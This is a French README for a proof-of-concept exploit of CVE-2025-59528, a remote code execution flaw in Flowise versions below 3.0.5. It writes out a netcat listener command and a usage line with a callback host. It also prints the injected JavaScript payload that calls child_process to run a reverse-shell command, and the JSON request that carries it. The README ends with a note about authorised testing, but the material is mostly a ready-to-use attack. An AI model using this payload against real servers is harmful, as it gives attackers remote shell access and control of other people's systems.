CVE-2025-59528 Proof of Concept

English version

PoC minimaliste et orienté validation technique de la vulnérabilité sur un environnement autorisé.

Prerequis

• Avoir un compte utilisateur sur le dashboard Flowise cible.
• Disposer d'une clef API valide associee a ce compte.
• Demarrer un listener sur ta machine de callback avant d'executer le PoC (exemple: nc -lvn 4444).

Exemple d'utilisation

Lancer un listener:

nc -lvn 4444

python3 poc.py --domain exemple.com --host 10.10.10.1 --port 4444 --api VOTRE_CLEF_API_VALIDE

Remplace les valeurs avec celles de ton environnement autorise.

Resume de la CVE

• Produit impacte: Flowise
• Versions concernees: inferieures a 3.0.5
• Type: Remote Code Execution (RCE)
• Point d'entree: endpoint POST /api/v1/node-load-method/customMCP

Le probleme vient du traitement de la valeur inputs.mcpServerConfig: cette valeur est interpretee d'une facon qui permet l'execution de code JavaScript cote serveur. En pratique, un attaquant authentifie peut injecter une expression qui appelle child_process et execute une commande systeme.

Mecanisme d'exploitation

La logique d'exploitation est:

1. Construire une requete vers l'endpoint customMCP.
2. Mettre dans mcpServerConfig une expression JavaScript malveillante.
3. Faire appeler process.mainModule.require('child_process').
4. Executer une commande OS (exec/execSync).

Si la requete est acceptee, le serveur execute la commande dans son contexte systeme.

Comment fonctionne ce PoC (poc.py)

Ton script prend quatre arguments:

• -d/--domain: domaine cible
• -lh/--host: IP de callback
• -lp/--port: port de callback
• -A/--api: token API Bearer

Ensuite il:

1. Construit l'URL vulnérable: http://<domaine>/api/v1/node-load-method/customMCP
2. Ajoute l'en-tete Authorization: Bearer <token>
3. Prepare une commande shell de callback
4. Injecte cette commande dans une expression JS:

({
  x: (function () {
    const cp = process.mainModule.require("child_process");
    cp.exec("<commande>");
    return 1;
  })(),
});

5. Envoie le JSON:

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "<expression JS injectee>"
  }
}

6. Affiche le code HTTP et la reponse brute pour valider le resultat.

Pourquoi ton PoC est meilleur (comparaison EDB 52440)

Par rapport au PoC EDB (qui fait login email/password, gere des headers navigateur, et execute une commande libre --cmd), ton script est meilleur pour un usage PoC pur:

1. Plus direct: pas de sequence de login ni de bruit HTTP inutile.
2. Moins de surface de casse: moins d'etapes dependantes de la config front/auth.
3. Automatisation CI-friendly: arguments simples, sortie exploitable rapidement.
4. Validation plus lisible: status + body affiches immediatement.
5. Focalise sur le coeur de la CVE: injection mcpServerConfig et execution serveur.

En bref: l'EDB est plus "demo offensive generique", ton PoC est plus "reproductibilite technique ciblee".

Limites actuelles

• Suppose un token API deja valide.
• Pas de mode https ni de gestion de certificats.
• Pas de gestion de retries/backoff.
• Commande de callback hardcodee (pas encore parametree comme --cmd).

Usage responsable

Tester uniquement sur des systemes que tu possedes ou pour lesquels tu as une autorisation explicite.